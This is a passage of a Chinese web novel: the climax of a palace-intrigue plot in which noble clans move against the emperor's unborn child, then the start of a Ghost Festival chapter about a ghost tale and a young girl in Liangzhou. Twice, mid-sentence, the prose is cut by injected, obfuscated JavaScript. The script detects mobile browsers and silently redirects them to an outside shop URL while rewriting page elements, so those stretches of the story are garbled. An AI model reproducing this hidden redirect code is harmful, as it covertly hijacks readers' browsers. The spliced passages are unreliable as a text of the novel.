陆岩把目光从冰棱上收回来，看着谢英，道：“因为我说了，你爹我岳父，会让我娘子守寡。” 陆岩没再说话，转过身，往门外走。走到门口，忽然停了一步，没有回头。 他道：“孩子落地之前，我不会再说一个字。孩子落地之后——我看心情。” 轿帘落下，轿夫起轿。 谢英站在廊下看着轿子消失在府外，檐水还在滴。 他听懂了陆岩没说出口的那句话，夏日飞雪不是天象，今天冰棱滴水也不是。从始至终，天没有示警，是人在示警。 陆岩守住了这个秘密，但他不会替六姓圆谎了，孩子落地之前，他闭嘴。孩子落地之后，他可能会张嘴。 谢英把手负到身后，攥紧，又松开。他叫来五四：“去，飞鸽传书给那个巫蛮子。” 北黎巫师叫阿兀术，来都城三年了。陆岩辞官后，宫里把他从太卜署提上来，顶了钦天监监正的缺。 六姓当时没当回事，一个北黎来的蛮子巫师，能翻什么风浪。现在谢英才意识到，这步棋，嗣帝早就埋了。 谢英：“跟他说，明日早朝，陛下会问他天象。他知道该怎么说。” 五四领命去了。 一个时辰后飞鸽传了回来，五四攥着纸条脸色发白。 “他怎么说？”谢英坐在屋内，品了口热茶，问道。 五四眉头紧锁：“……他说，他最近跳大神，不观冰棱。” “哐当”一声茶盏碎落在地。 谢英攥紧拳头，狠狠砸在桌面上：“好你个巫蛮子，这个时间点给我当圣人？话都从你口中传出去了，还能允许你有反悔的余地。”他咬牙切齿地道。 同样的话，陆岩说，他忍了，阿兀术说，他忍不了。 但眼珠子一转，谢英冷静了下来，他动不了阿兀术。陆岩辞官之后，钦天监的腰牌挂在阿兀术腰上，这个北黎蛮子是皇帝钦点的，打他就是打皇帝。 虽然阿兀术之前自愿把灾星的谣言给散出去了，但也不是长久手段，更控制不住他后面出尔反尔的德行。 更重要的是，阿兀术是北黎人——嗣后的母国。 逼宫的节骨眼上动嗣后母国的人，等于把“构陷”两个字写在自己脸上给全天下看。 谢英起身，站在一地碎瓷中间，忽然想通了一件事。 嗣帝早就知道夏日飞雪不是天象，陆岩能从前朝旧档里翻出冷涡的记录，嗣帝会翻不到钦天监的旧档？ 嗣帝只怕会比陆岩更熟悉冷涡的事，陆岩能看得到，嗣帝也看得到。 但嗣帝从来没有戳破。 或许他不是不想戳破，是戳破了也没用。百姓不懂冷涡，只懂雪；六姓要的也不是天象，是借口。 嗣帝等的，是六姓自己露出破绽，而现在，破绽来了。 冰棱滴水，雪有停的迹象，天象的谎言，最怕的不是被戳破，是过期。一旦百姓发现雪停了、天暖了、庄稼能活了，谁还信灾星那套说辞？六姓必须赶在雪彻底化完之前，逼嗣帝动手。 而嗣帝等的，就是他们急。 谢英把靴子从碎瓷上挪开：“备轿。去崔家。” 轿子一路平稳前行，途经大运河，谢英忽然掀开帘子一角瞧。水面之上，舟楫千里冰封，千樯万橹像被冻在琉璃盏里。 他放下帘子，没说什么。 不多时，轿辇行至御柳巷，抬头便见朱门巍然，匾额上高高地题着几个字：“青箱堂”。门口摆着两块方形箱石。 谢英绕过藏书楼，走向后院的一间屋子，崔家老夫人正坐在暖阁里转佛珠。不多迟疑，他坐下身，把陆岩和阿兀术的话娓娓道来了一遍。 崔家老夫人闻言，佛珠慢悠悠转了一圈停了下来，睁开眼只说了一句： “陆岩留不得。” 谢英没说话。 “不是现在。”崔家老夫人的佛珠又转了起来，补充，“等孩子生下来，母子都留不得。” 谢英心头一紧，忽然想起陆岩上个月辞官，江都的水运道路都被凛灾封死了，他策马前去驿道接他。转眼只见陆岩从某条不知名的小道独自冒着雪蹒跚而来。风雪扑簌簌地落了他满身，像座雪山雕，脸色铁青，嘴唇泛白。 他勒住马，当即破口大骂：“你疯了？有驿道不走？有马车不坐？一个人走野路，嫌死得不够快！” 江都往曲越山以南的驿道是前朝修的，路基坚实，沿途每三十里设一驿站。数十年来，六姓不断修缮，防的就是有这一天。驿道虽不宽，却路基高耸，积雪难存。六姓的马车又是特制的，车轮比寻常的宽出两寸，碾雪而行不易打滑。 而陆岩只牵着马，双脚软绵绵地陷在雪地里，一步一坑，一字一句道：“我没疯，我要当爹了。” 谢英当时只觉哑然。 现在他懂了，陆岩不是疯了，他是算清了账。六姓的船要沉了，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549433|204288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要在冰面化开，船彻底往下沉之前，带着妻儿从船上逃走。 而自己还高举着火把，站在那道将裂未裂的冰缝之上。 檐水滴落在阶前石板上，水滴石未穿，但一冬一夏，石头总会薄的。 未及午后，世家六姓齐聚在崔宅的花厅里。 陆家二爷端着茶杯，最先开口：“雪不能停。” 谢英坐在身侧，手肘支着脸颊，白了他一眼：“雪不是人能决定下不下的。” 陆二爷当然知道，他的意思是——雪停了，得有别的东西顶上。 “雪停了，但灾星未除。”王丞相慢慢品了口茶，一字一顿，“天象示警，灾异暂歇，若不诛妖孽，必有更大之灾。” 沈家大爷接上：“下一次就不是雪了。是蝗，是旱，是地动，嗣帝看着办。” 崔家老夫人坐在主位，仍旧转着她那串佛珠，语气慢条斯理：“江都的雪停了，不代表秣陵的雪停了。我已经打听过了，秣陵的雪还在同往常一般下，只要这一个地方还在下，我们就有胜算。只是人有旦夕祸福，天有不测风云，一切都得快。” 谢英闻言，摩挲着下巴偏头看她。 这崔家老太太佛口蛇心，看似弱不禁风，其实最毒的就是她，嗣后前几个孩子怎么没的，恐怕只有她最清楚。没了嗣后，对朝中局势最有利的也只有他们氏族了，她那女儿——崔贵妃，可是生了长子。 可大皇子光顶着长子的名头又有何用？皇家向来立嫡不立长，只要十三皇子还在世，崔氏便永远登不上那个位置。 可即便嗣帝再无能，也绝非愚钝之辈。他既然能在六姓的眼皮底下保全十三皇子平安长大，自幼便将其送往太京山抚育，便注定这孩子不是他们能轻易触碰的。 所以这即将出世的第二个孩子，才是真正的心腹大患。万一又是一位皇子，崔氏想要翻盘，便彻底无望了。 一堆出谋划策中，顾家二爷的算盘噼啪响，他低着头抱怨：“我们米行这几个月赈灾的粮食，不知道折出去多少……这该死的凛灾，害得水车都冻住了，米碾出来的量只够从前一成，这群刁民，居然还怪我们不卖粮食给他们……” 谢英听了这话，指腹摩挲着下唇，视线自然向下一瞥，落在了顾二爷袖中那张泛着金光的地契，无语地翻了个白眼。 一个赈灾济民的粥棚，嗣帝用了三千亩水田兑换。顾、陆两家一人一份。顾家碾米的工费，朝廷补给顾家，顾家转手付给陆家，陆家的银号再把银子贷出去，利息滚利息。 谢家分了点米糠，米糠用来养马；崔家啥都没分，但国子监的那块空地，是崔家主动大方腾出来的，现任的国子监祭酒，是崔老夫人的亲生儿子。至于王家，字也不是白题的，百姓端着碗排队领粥，抬头看见王家的落款，嘴里念的是王家的恩。 嗣帝用一张地契，一个赈灾的虚名，告诉底下的人，朕有粮，朝廷有粮。 听着这些人叽里呱啦一堆商讨的话，谢英心念一动。 既然崔氏想要嫡出的储君，陆氏想要盐铁权，嗣帝这些年一直在试探收回盐铁，陆家的银号、码头、漕运全指着盐铁两项活着，嗣帝想动，陆家不让动，僵了好几年。逼宫是一石二鸟之计，既能把嗣后拉下来，又给嗣帝一个敲打，明天我陆家要盐铁权，你还敢不给吗。 顾家更简单，要地。曲越山以南的水田，顾家占了六成，但还有四成在朝廷手里，灾星不灾星的，顾家不在乎。顾家在乎的是朝廷那四成水田，能不能趁这场乱子姓顾。 至于王家不要皇位，不要盐铁，不要田，不要兵，他们要的是填日期的人姓王。史书上这一页怎么写，是“帝惑妖后，六姓匡扶社稷”，还是“六姓构陷皇嗣，帝以身殉社稷”，王家给谁写，取决于谁赢。 沈家嘛全凭一张嘴，五大世家都出动了，他们家如果置身事外，以后哪家还瞧得起他们家族。施粥济民这事，他们可是半点好没捞到。 其余几家的野心和利益都昭然若揭，谢英轻扣着指尖，默然沉吟，唯独不知，他们家族真正想要的是什么？当初掺和进来本是随家里那老头的旨意，他若是想接手家业，只管照着做就是。 现在想来，六姓逼宫总得有个领头人，谁来做这个领头人，自然非谢家不可。 逼宫成，谢家是首功之臣，将来这几大家族各得了势力，都得承他们家的情，可若是逼宫不成，谢家会是第一个被清算的。 但谢英算过这笔账，怎么败？嗣帝能怎么败六姓？米市、河道、银号都牢牢掌控在五大世家手里，各自关上了门。 嗣帝唯一的兵是禁军，禁军里有多少六姓的人，嗣帝自己都数不清。运河封冻，朝廷漕运瘫痪，嗣帝唯一的粮在顾家仓库里，唯一的银子在陆家银号里，嗣帝拿什么翻盘？ 所以谢家要的——唯有首倡之功。 是不沾血的名声，是日后六姓分赃时，坐在上首的那把椅子。 谢家要的就是满朝文武，必须从谢家的门槛上跨过去，才能碰到那把椅子。 4. 终局 第二日天未亮，谢英便按照计划，带着一支军队开拔。 他们沿驿道一路向南，每到一个驿站换一匹马。驿道是六姓的合力之作，但驿站是谢家的产业，马是谢家的马，谢英在驿站里喝口热茶，又继续赶路。从江都到秣陵，平时马车走三四天，水运两天，他日夜疾行，骑马当天夜里就到了。 行至秣陵郊外的空野地，谢家军正准备安营扎寨，宫中突然传出消息，嗣后晚膳后突然腹痛难绞。 谢英闻言一怔，旋即抓着五四衣裳就问：“她怎么这个点就要生了？崔氏的人给的催产药，不是要等两天吗！” 五四：“爷，我不清楚啊，我马上派人去打听宫中情况。” 半个时辰后，五四火急火燎地回来弯着腰喘气：“爷，我打听到了……五大世家，没人现在行动……皇后那日、那日、从兰定门回来时，好像听说马车在一家药铺门前特意停了半个时辰。” “药铺？半个时辰？”谢英疑惑。 五四喘匀气，直起腰，抬手挡住嘴边，凑近谢英耳旁私语。 谢英一听：“好家伙，这不是纯给我找麻烦了吗。”他顾不上整顿，当即下令，“不用驻扎了。所有人，即刻随我出发进城，保卫陛下安危！”他举起兵戈，说得义正言辞。 “保卫陛下安危！阻止妖邪祸害苍生！”一时间，声音激荡在荒郊。 谢家军队刚要启程，突然从背后林间蹿出一伙人。 军队见状，立刻拔刀，摆出应战姿态。 谁知其中一人咚得就跪了下来，望着谢英道：“兵爷，麻烦给我们口吃的吧，我们太饿了。” 谢英骑在马上，垂眸望着那个跪在雪地里的灾民。骨瘦如柴，衣衫褴褛，双膝重重砸进雪地里，溅起的雪沫，竟比人还要轻。 他顿了顿，缓缓抬手。身后将士们指腹猛地按紧刀柄，灾民们惊慌失措，齐齐往后缩去。 “火头军。把今天的干粮分一部分给他们。” 副将愣了一下：“小侯爷，这行军粮——” “分。” 火头军把干粮搬了出来。那四十七个饥民没有冲上来抢，反而整齐地排成了队，老人先领，妇人其次，孩子最后。刚才跪下的灾民，排在最后面，领到一块饼，小心翼翼地揣进了怀里。 谢英看见了。 等所有人都领到了干粮，等第一口饼被掰开塞进嘴里，等那个冻得脸色发紫的孩子咬下第一口，抬眼时，眸中终于亮起了活气，然后谢英开口了：“你们知道，你们为什么会饿成这样吗？” 灾民们抬起头看着他，没有回答。 谢英没有看他们。他看着山上那些被剥光了皮的树，白生生的树干立在雪里，像一排排骨架子，朗声道： “秣陵的田，是朝廷和顾家的，秣陵的粮食也是顾家和朝廷的，顾家的粮仓是满的，但顾家的粮不卖给你们。你们走了三天三夜要去秣陵，却被城门口的人下令，不准你们进去。” 谢英停顿了一下，“你们以为是天灾不让你们活，是顾家不让你们吃饱饭，是皇帝不让你们进城门，都不是。” 谢英目光扫过这群人，缓缓道：“是皇后肚子里的那个孩子。” 人群里有人倒吸了一口气。谢英的声音不高，但每一个字都落在雪地上，砸得比灾民的膝盖还重。 “夏日飞雪，六月结冰。钦天监说了，天象示警，灾星在腹。那个孩子一日不除，天灾一日不止，你们剥树皮，树皮剥光了，你们走了三天三夜，城门进不去，你们领到这块饼，今天饿不死，明天呢？后天呢？” “雪不停，谁都活不了。”谢英说得有理有据。 人群里某个抱孩子的妇人咬着嘴唇，忽然漏出来了一声，像雪压断枯枝。 灾民们立在原地，盯着谢英，嘴唇在发抖：“兵爷……那……那我们怎么办？” 谢英看着他，看了很久，忽然笑：“我们就是来办这件事的。” 他翻身上马，甲胄上的雪抖落下来，簌簌地落回雪地里，朗声道：“谢家军今日开拔，不是去打仗，是去都城，去清君侧、诛妖孽。”他俯视着这群人，绷直腰板，目光扫过那四十七张脸。 每一张脸都仰着，每一双眼睛里都映着火光。 “这块饼，是谢家给的，但谢家给不了你们第二块。”谢英勒转马头，“能给你们第二块的，是老天爷。老天爷什么时候给？灾星死了就给。” 马蹄踩进雪里，谢英没有回头。 四十七个人站在原地，望着军队离开的方向，眼神忽地生出了一点别样的情绪。 谢英骑在马上，身后跟着两千兵马，副将催马跟上，欲言又止。 “你想说什么？”谢英淡声问。 副将咽了一下。“小侯爷……那个孩子，真的是灾星吗？” 马蹄踩在雪上，咯吱咯吱的。 走了很远，谢英才说了一句话。 “是不是，不重要。” 副将一愣，没有再多问。下属的使命是服从命令，上级要他们做什么，他们就得做。 谢英攥着缰绳，手指冻得发僵，他想起那群灾民跪在雪地里的样子，想起那个妇人咬着嘴唇漏出来的哭声，想起那个孩子嘴角的饼屑。他给了他们半份行军粮，给了他们一个可以恨的人，给了他们一个不用再跪着等死的理由。 从今往后，这四十七个人不会再跪在雪地里等人施舍了。他们会站起来，跟着谢家军的马蹄印往秣陵走。 不是去讨粮，是去讨命。 他又想起了陆岩那日对他说的话。其实不是六姓干的事缺德，是六姓干的事，每一件都像今天这样——给你饼，也给你恨。让你活过今天，再用明天去恨一个没见过的人。恨到忘了饼是谁给的，恨到忘了城门是谁关的，恨到忘了嗣朝的天下是谁家的。 谢英攥紧缰绳，马继续往前走，寒气越来越重了。 谢家军队一路纵马疾行，亥时甫一抵达北城门，就看见嗣帝身边的内侍监早早地等在了城门外。 谢英连忙勒住缰绳，轻笑一声：“杨公公，天这么冷，别人早早地都睡下了，您还这么尽职？” 内侍监不紧不慢地答：“杂家哪里敢跟谢小侯爷日夜兼程的比。”他又说，“陛下忧思于皇后娘娘凤体，实在没有办法亲自来远迎，所以就派杂家专程来等候小侯爷。” 谢英微顿，随即一笑：“那可真是有劳了。” “只是，”他又说，“我忽然想起有样东西想转交给陛下，得先回趟府中，不知杨公公可否随我一道去取。” 内侍监应下了。他进了谢英在秣陵的侯爷府，被安排在了花厅门外等候。 一等就是一个时辰。 府里的人不是一会儿出来传谢英行军劳累，要用膳，就是说他受了寒气，正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549434|204288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沐浴更衣。内侍监穿着单薄的冬衣站在院外，双手冻得通红、嘴唇青紫，不停地搓着手，然而通传的人出来了，也只有说一句：“无妨，我再等等。” 等人进屋了，他扭头看了眼府门外，有兵卫在门口把守。 官帽上的雪结了又化，化了又结。每一回屋里有人走出，内侍监都以为是来传他进去的，可每一次都不是。他在雪地里站得太久，脖子僵了，忍不住低头，发髻蹭在领口的雪上。 等他终于被带进花厅时，腿已经僵得快成了两条冰棍，一步一趔趄。最终实在没忍住，一头栽倒在了谢英膝前，摔得手肘都磕破了皮。谢英端坐在椅子上，身侧摆着两杯热茶，见此情形，忙低喝一声，快步上前、虚虚伸手相扶。内侍监借着五四搀扶的力道，方才缓缓的撑着身子站起。 谢英：“哎哟。杨公公，您这是怎么了？” 内侍监立在原地，脚步尚未站稳，倒先顾着摆了摆手，答说：“无妨、无妨。年纪大了头晕眼花，让小侯爷看笑话了。” 谢英一愣，视线自然向下一瞟，落向了那道在流血的皮肉伤，眉心一皱：“都怪我这府上的地砖铺得不好，让杨公公遭罪了。” 内侍监赶紧用衣袖把伤口挡住，勉强地笑了笑。 谢英随即也不再啰唆，让五四拿上来一封帖子，轻轻塞进了内侍监掌心中握紧，他道：“公公辛苦了。还望公公帮我把这封帖子，完完整整地呈报给圣上才好。” 内侍监大拇指朝下，紧紧地按住了那封帖子，边角霎时落了朵梅花，鲜艳又刺目。 随即，谢英转身又递来一盏热茶，温声道：“杨公公，天凉。喝杯热茶暖暖身子。” 内侍监见状，咚一声跪下去谢恩，膝盖砸在花厅的青棍方砖上，声音沉闷。谢英没有拦，也没有扶，只是平淡地揭开盏里冒着热气的茶，垂着眼睫吩咐：“送公公出去。” 四更天，岳曦宫的城楼上方亮起了一簇簇明艳的火把。 一群禁卫军高举着火把走在前面开路。旋即，纷纷围着岳曦宫四角依次站定。 谢英骑在马上，捂着手炉抬眼，嗣帝迈着四方步，已经缓缓地走到城楼正中央位置，视线落了下来，与他撞个正着。 嗣帝没有说话，或许是根本没必要说。一群人就这么干巴巴地在冰天雪地里，大眼瞪小眼地僵持着。 谢英凝视着十二旒冕冠下那双锋芒毕露的眼睛，从毛绒立领里昂起头，挺起腰板。 巳时，灰蒙蒙的空中砸下来一只断了羽翼的黄色雏鸟，瞬间吸引了所有人的目光，白的头颅，红的血。 再过了很久，雏鸟的旁边，又砸过来一只黑色的大鸟，这只大鸟被人一剑捅穿了身躯，众人大叫着狂奔，马蹄纷纷扬扬地溅起细雪。 谢英倒在雪地里，看着头顶的天空有几只鸟在盘旋，视线越来越模糊。他看不清那些鸟的颜色，反倒只想得起嗣帝抬手时，袖口里藏的那截布，是金红色的，像北黎女子出嫁用的盖头。 雪落在他睁着的眼睫上，慢慢冻成一层白霜。方才那声雏鸟落地的闷响，忽然黏在他耳膜里挥之不去。 他到死才看清，自己捅向皇权的那一剑，最终扎进的是自己的心脏。六姓争了半生，谋了半生，到头来不过是给他人做了嫁衣，亲手把江山，连同自己一起，埋进了这漫天飞白里。 盘旋的鸟终于散去，天地间只剩马蹄与血污。 5. 渭水 光阴倏尔，岁月悠悠。 街头巷尾的桂瓣簌簌坠地，细碎金蕊混着线香的淡烟袅袅萦着街巷，烟火气幽然。 在这样幽冥诡谲的节庆中，酒肆茶楼里，最是偏好传些光怪陆离的新奇异闻，越说越盛。 其中街谈巷议流传最为广的一桩异闻，便与凉州城中元旧俗有关。 此地中元除放河灯祭奠亡魂，尚有一忌讳习俗：百姓会在岔路口焚烧买路钱，贿赂孤魂野鬼，求其收了银钱，莫要纠缠世间生人。 其中流传最盛的故事，是说凉州城西，有位卖炊饼的冯姓寡妇，人人皆称冯娘子。她膝下唯有一子名唤宝儿，年方七岁，入夏后染上怪疾，汤药无医，眼看气息奄奄，只剩最后一口气。 去年中元那夜，冯娘子抱着最后一丝希冀，听了城外半瞎神婆的法子，备下三样物件：一沓特制买路钱，纸钱上印着模糊的童子像、一件宝儿的贴身旧衣，还有一个用秫秸扎成的小小人形替身。 神婆再三叮嘱：「子时三刻，去渭水下游最荒凉的回水湾。那儿煞气重，孤魂最多。你先焚烧孩儿的旧衣，换他的魂魄归来；再将买路钱同秫秸替身一起烧化，供奉给拦路的鬼差。求它们拿钱领替身离去，放回你孩儿的魂魄。切记，烧完即刻转身离去，万万不可回头！身后无论何人唤你，皆不能应声！」 冯娘子一一记下。 子时一至，她怀揣着物件，深一脚浅一脚地独自赶来回水湾。 此地无半盏河灯点缀，唯有连片芦苇在夜风里簌簌轻响，细碎如万千阴魂私语。 惨白的月色映照在水面，泛出一片幽光。 冯娘子浑身发颤，缓缓摆好物件，点燃宝儿的旧衣，哽咽低唤：「宝儿……我的宝儿，快回来啊……」 火苗吞吐摇曳，旧衣转瞬化作袅袅青烟。霎那间，周遭寒气骤然陡增，明明无风，两岸芦苇却齐齐向两旁弯折倒伏，好似有一支无形阴兵，正踏水缓步而来。 冯娘子吓得魂飞魄散，慌忙引燃买路钱与秫秸替身。跃动火光里，印着童子的纸钱蜷曲焦缩，那具秫秸小人，竟在烈火之中微微抽动，栩栩如生。 「诸位阴差大人，收下银钱……带走替身……求你们放过我孩儿……」她伏在泥地上，不住叩首哀求。 火光堪堪将熄之际，一缕似笑非笑的阴冷嗤笑，自水底幽幽浮起。下一刻，一道浸透湿冷、裹挟泥腥的声响，贴着她耳廓缓缓响起： 「……钱财，我们收下了。」 冯娘子浑身寒毛倒竖，猛然记起神婆告诫，拔腿便仓皇奔逃。一路跌跌撞撞，身后芦苇摩挲的异响如影随形，不远不近，始终隔了三丈之距。 堪堪奔至城门下，她早已气力耗尽，四肢发软，身后却忽然传来宝儿清亮又带着委屈的哭喊，和往日撒娇时的语调分毫不差： 「娘！娘等等我！我走路脚疼！」 骨肉连心，听见孩儿声音，冯娘子心口骤然一紧，险些克制不住回头的念头。那是她唯一的孩儿，是她活下去的指望。 可神婆那句「莫回头」，骤然如冰水浇落全身。她死死咬紧牙关，指甲深深掐进掌心，鲜血浸透也浑然不觉，埋头咬牙，一头冲进城门之内。 归家之后，她踉跄着扑至床前，只见宝儿依旧昏沉卧榻，面色却难得透出一丝血色，呼吸平缓绵长。冯娘子喜极而泣，只当那夜的献祭之法，终究奏效。 可自第二日起，诡异怪事接连不绝。 冯娘子总隐隐觉得屋中多了一道无形人影，明明宅内只有她与昏迷初醒的孩儿，却时常听见细碎的孩童奔跑嬉闹之声；宝儿的零碎玩物，总会莫名出现在不该摆放的角落。 不久后宝儿苏醒，性情却彻底大变。他时常眼神空洞，怔怔望着空无一人的屋角，忽而无端咯咯发笑，天真开口：「娘，有位小哥哥，正陪着我玩耍呢。」 最是毛骨悚然的一日清晨，冯娘子清扫床底，竟扫出一滩潮湿腥臭的河泥，还有数截焦黑残破、残留人形的秫秸残骸。 至此，冯娘子才彻底明白，那夜的交易，早已出了天大的差错。 鬼差的确收了买路钱，拿走了替身，却并未真心放回宝儿本魂。 借着纸钱诱惑、替身牵引，还有她当夜声声泣血的唤子之音，取而代之缠上家门的，是另一个来路不明的阴邪之物。 中元早已远去，这座凉州小城恢复如常。 可那个被换回来的「宝儿」，一日比一日鲜活灵动，眉眼笑语愈发真切。 而真正的宝儿去了哪里？没人知道。 长夜漫漫，冯娘子夜夜抱着逐渐陌生的孩子，听着屋内游荡的孩童嬉笑声，望着窗外的沉沉昏暗，终于幡然醒悟： 有些路，一旦用钱和替身去买通，就再也回不了头了。你买通的，往往不是生路，而是更深的纠缠。 “福儿姊姊你说，这说书人讲的故事究竟是真的还是假的啊，宝儿真的变了吗？”一个扎着双丫髻的姑娘边走边问。 他们一行伙伴，刚趴在茶楼窗棂听说书人慢条斯理地讲了半天，这会儿才被轰了出来，往回家方向走。 人群当中的姑娘闻言没即刻应声。 她只低眉勾头，望着堪堪及地的橙黄裙摆，指尖捻着衣料，抿了抿唇。 这裙衫还是清晨窈娘执意让她换上的，说她既已到了金钗年华，今日又是中元节庆，总穿那方便行动的灯笼裤，瞧着像个野丫头，失了姑娘家的模样。 周福善抬起头，杏圆眼眸浸着街边天光，盈盈透亮。 她慢悠悠地说：“想知道是真是假，容易呀。咱们去城西冯娘子家的墙根下听一耳朵，不就成了。” 谁知此话一出，“嘶”的一声此起彼伏，几个半大孩子瞪圆了眼，你看看我，我看看你的。 其中当属石天流反应最烈，他膀大腰圆，却是个耗子脾性，突然嗷一嗓子蹦起来：“福儿！你疯了？！今儿什么日子？中元节！鬼门大开！” 他手指头差点戳到周福善鼻尖，“那冯娘子家现在……现在就是个活棺材！宝儿指不定是啥东西变的呢！你去？你去给它当点心啊？” 周福善被对方吼得耳膜嗡嗡响，连忙往后一跳，双手捂住耳朵，拧着眉回怼：“石大牛！你吼那么大声，鬼没招来，我耳朵先聋啦！”她放下手，脸上却没多少惧色，反而有种跃跃欲试的光彩。 她抬手先指了指天上灼亮的日头，又指了指远处的佛寺，梵音正袅袅传来。随即，展开手臂朗声道：“你们瞧，日头这般盛，街上人潮这般拥挤熙攘，阳气旺着呢！” “咱们就去冯娘子家后院那棵老槐树那儿，不进门，不上墙，就躲树后头，远远地瞧一眼窗户。” “冯娘子总得出门采买吧，宝儿要是能下地，总得有个影儿吧？” 她凑近半步，神秘兮兮地对伙伴们怂恿道：“再说了，你们就不好奇，万一宝儿真好了，是冯娘子诚心感动了天地？万一……真有点别的啥，咱们这么多人，跑还不会吗？” 话锋一转，她又往对方肩头重重一拍，扬声道：“石大牛！你上回不是说，你阿爹新教了你一招旱地拔葱，蹿得比兔子还快？”她一边说，一边紧握拳头在原地比画着小跑的姿势。 石天流被将了一军，脸憋得有点红，嘴硬道：“那、那能一样吗？我那是练功！又不是用来……用来逃命的！” 旁边的俏儿年纪最小，死死攥着周福善的衣角，声音发颤：“福儿姊姊，我、我阿娘说，七月十五小孩肩头火弱，最容易……最容易看见不该看的，咱们还是回家吧？” 周福善拍拍她的手，眼睛却亮晶晶地扫过其他几个明显动了心思的男孩，道：“怕啥？咱们人多，肩头的火苗子连起来，能当灯笼使！再说了——” 她忽然从怀里掏出个小布包，得意地晃了晃：“我带了窈娘给的驱秽散，墙角屋边撒一点，保准平安。还有甘草糖，压惊最管用。去不去？就一眼，看不真切咱们立刻掉头回家，绝不多事！” 清风掠过街角，吹得纸钱灰打着旋儿飞起。孩子们沉默着，恐惧和好奇在眼里打架。 石天流看了看周福善手里鼓鼓囊囊的装备，又看了看其他伙伴闪烁的眼神，最后把心一横。 “跑！” 嘿，不待周福善反应，这些耗儿胆的怂包们，全都一溜烟撒腿跑了。 周福善僵在原地，扭头望着人影消失的方向，猛地扶着额角叹了口气。算了，她还是老实地回家去吧。 “癸水不调，少腹积於，当归三钱、川芎钱半……水煎分三次温服。” 周福善提着裙摆跨进医馆，抬眼便见窈娘正在给街坊的张五婶把脉。 张五婶收了手臂，笑问：“周娘子啊，这中元节可热闹了，佛道同庆，城东塞清观的高功法师今儿个开坛打醮，听说灵验得很，你今年带福善去哪儿祈福呀？好歹去沾沾福气。” 窈娘闻言，写方的动作一顿，抬眼冲张五婶笑了笑，眉眼温和：“娘子您瞧，我这身为医家，日日与药石、病患打交道，身上难免沾了祟气，总去道观怕冲撞了法事的清气，反倒不妥。” 她望了眼门槛方向，复又低头：“我们母女打算晚些去海藏寺求个阖家平安就好。佛门清净，无甚繁文缛节，倒更合我们母女的心境。” 张五婶听罢连连点头：“也是这个理，海藏寺的盂兰盆法会素来清净，最是适合你们。”她伸手接过药方，起身就要离开，回头刚好撞见杵在门边的 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窈娘笑了笑，收起针灸袋：“这就是人常说的，若要人不知，除非己莫为。”说罢，她抬手拭了拭额角薄汗，起身便要去捣药杵。 周福善眼疾手快，忙取了帕子递过去：“窈娘，歇会儿吧，药草我来碾就好。” 窈娘接过帕子擦了擦手，看着眼前亭亭玉立的女儿，伸手替她理了理鬓边的碎发，夸耀道：“嗯，确实长大了，能替为娘分忧了。” 周福善脸颊微赧，低头抿唇笑：“窈娘教得好。”想到刚才的谈话，她仰头问，“窈娘，我们为什么从来不去道观？听说那里的灯更漂亮。” 窈娘替她整理的手微微一顿，声音笃定响起：“善儿，你记住。道法深奥，不是我们寻常百姓能轻易参悟的。那多是帝王将相，或是出世之人所求。我们母女此生，只求脚踏实地，行医问药，积些微薄的善缘。” 她言：“佛家说普度众生，讲一个缘字，更合我们医家救人不论出身的本心。” 她偏头看了看角落早已备好的河灯，声音带着几分虔敬，“我们放灯，不为特定哪位神明看到，只为心中记挂之人，祈愿他们早登极乐，来世安稳。这便够了。” 周福善听了，了然地点点头：“我听窈娘的。那我们几时动身去海藏寺？我去收拾香烛！” “申时再走，”窈娘看了眼门外日头，午后秋阳正好，叮嘱，“先把这剂药碾好，给西头的李婆婆送去，她心惊的老毛病在中元节里更要仔细。送了药，我们再慢慢往城外去。” 周福善乖巧应了声“好”便接过窈娘身前的药杵。 青石臼前，少女尚在稚嫩的眉眼，随药杵起落间，竟已然有了娴静的影子。 夜里的渭水河畔灯火摇波，星星点点的荷花灯浮漾水面，香火袅袅混着纸钱轻扬，衬出一派热闹里的哀伤与肃穆。 周福善正默默蹲在一头，小心翼翼地点亮第二盏小灯，嘴里轻声念叨：“不知道你是谁，但希望你下辈子，去个暖和明亮的人家……” 临出门前，窈娘对她特意嘱咐：“医馆离不开人，独自行事需得小心谨慎。若你有心，可帮我多点一盏灯，给一个夭折的孩子……”窈娘说这话时，略微沉默了片刻，旋即又补充：“也算是，尽尽医者的善心。” 周福善虽不清楚窈娘同口中那早夭的孩子究竟有何渊源，却瞧着窈娘说话时眉头紧蹙，眉眼间凝着说不清道不明的复杂心绪，也就默默应下了。 将那盏燃着微光的银白色荷花灯，轻轻推落水面，周遭细碎的抽噎声此起彼伏传来。周福善缓缓抬眼，目光斜斜掠过身侧，只见一众家属皆垂着眉眼，将一盏盏河灯顺水轻放，人人以袖掩面，泪落不止，声声悲泣，哀戚漫天。 周福善神色微微一敛，眸光渐淡。恍惚间忆起，窈娘从前曾与她说过，承朝立国仅短短十一载，枉死之人不计其数。 有的人死在了前朝末年的天灾里，据说是盛夏飞雪的奇灾，周福善没见过。还有的人，死在了新朝与前朝的乱世纷争里，周福善更是没见过。 她从懂事起，见得最多的是凉州的风沙。 